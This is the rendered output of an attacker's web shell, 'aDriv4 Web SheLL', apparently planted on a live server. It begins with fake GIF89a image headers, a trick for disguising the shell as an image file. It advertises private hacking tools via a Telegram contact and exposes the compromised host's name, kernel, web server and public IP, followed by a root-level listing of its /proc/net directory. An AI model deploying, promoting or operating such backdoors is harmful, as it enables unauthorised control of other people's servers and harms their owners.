GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server2.lukinet.app 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
 Apache
 184.94.215.141
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2026-02-21 10:34:29
.. dir - root/root 0555 2026-02-21 08:45:59
dev_snmp6 dir - root/root 0555 2026-02-21 10:34:29
netfilter dir - root/root 0555 2026-02-21 10:34:29
nfsfs dir - root/root 0555 2026-02-21 10:34:29
rpc dir - root/root 0555 2026-02-21 10:34:29
stat dir - root/root 0555 2026-02-21 10:34:29
anycast6 application/x-empty 0 B root/root 0444 2026-02-21 10:34:47
arp text/plain 0 B root/root 0444 2026-02-21 10:34:47
connector text/plain 0 B root/root 0444 2026-02-21 10:34:29
dev text/plain 0 B root/root 0444 2026-02-21 10:34:47
dev_mcast text/plain 0 B root/root 0444 2026-02-21 10:34:47
fib_trie text/plain 0 B root/root 0444 2026-02-21 10:34:47
fib_triestat text/plain 0 B root/root 0444 2026-02-21 10:34:47
icmp text/plain 0 B root/root 0444 2026-02-21 10:34:47
icmp6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
if_inet6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
igmp text/plain 0 B root/root 0444 2026-02-21 10:34:47
igmp6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip6_flowlabel text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip6_mr_cache text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip6_mr_vif text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip_mr_cache text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip_mr_vif text/plain 0 B root/root 0444 2026-02-21 10:34:47
ip_tables_matches 0 B root/root 0440 2026-02-21 10:34:29
ip_tables_names 0 B root/root 0440 2026-02-21 10:34:47
ip_tables_targets 0 B root/root 0440 2026-02-21 10:34:29
ipv6_route text/plain 0 B root/root 0444 2026-02-21 10:34:47
mcfilter text/plain 0 B root/root 0444 2026-02-21 10:34:47
mcfilter6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
netlink text/plain 0 B root/root 0444 2026-02-21 10:34:47
netstat text/plain 0 B root/root 0444 2026-02-21 10:34:47
nf_conntrack 0 B root/root 0440 2026-02-21 10:34:47
nf_conntrack_expect 0 B root/root 0440 2026-02-21 10:34:47
packet text/plain 0 B root/root 0444 2026-02-21 10:34:47
protocols text/plain 0 B root/root 0444 2026-02-21 10:34:47
psched text/plain 0 B root/root 0444 2026-02-21 10:34:29
ptype text/plain 0 B root/root 0444 2026-02-21 10:34:47
raw text/plain 0 B root/root 0444 2026-02-21 10:34:47
raw6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
route text/plain 0 B root/root 0444 2026-02-21 10:34:47
rt6_stats text/plain 0 B root/root 0444 2026-02-21 10:34:47
rt_acct application/octet-stream 0 B root/root 0444 2026-02-21 10:34:29
rt_cache text/plain 0 B root/root 0444 2026-02-21 10:34:29
snmp text/plain 0 B root/root 0444 2026-02-21 10:34:47
snmp6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
sockstat text/plain 0 B root/root 0444 2026-02-21 10:34:47
sockstat6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
softnet_stat text/plain 0 B root/root 0444 2026-02-21 10:34:29
tcp text/plain 0 B root/root 0444 2026-02-21 10:34:47
tcp6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
udp text/plain 0 B root/root 0444 2026-02-21 10:34:47
udp6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
udplite text/plain 0 B root/root 0444 2026-02-21 10:34:47
udplite6 text/plain 0 B root/root 0444 2026-02-21 10:34:47
unix text/plain 0 B root/root 0444 2026-02-21 10:34:47
xfrm_stat text/plain 0 B root/root 0444 2026-02-21 10:34:47
© aDriv4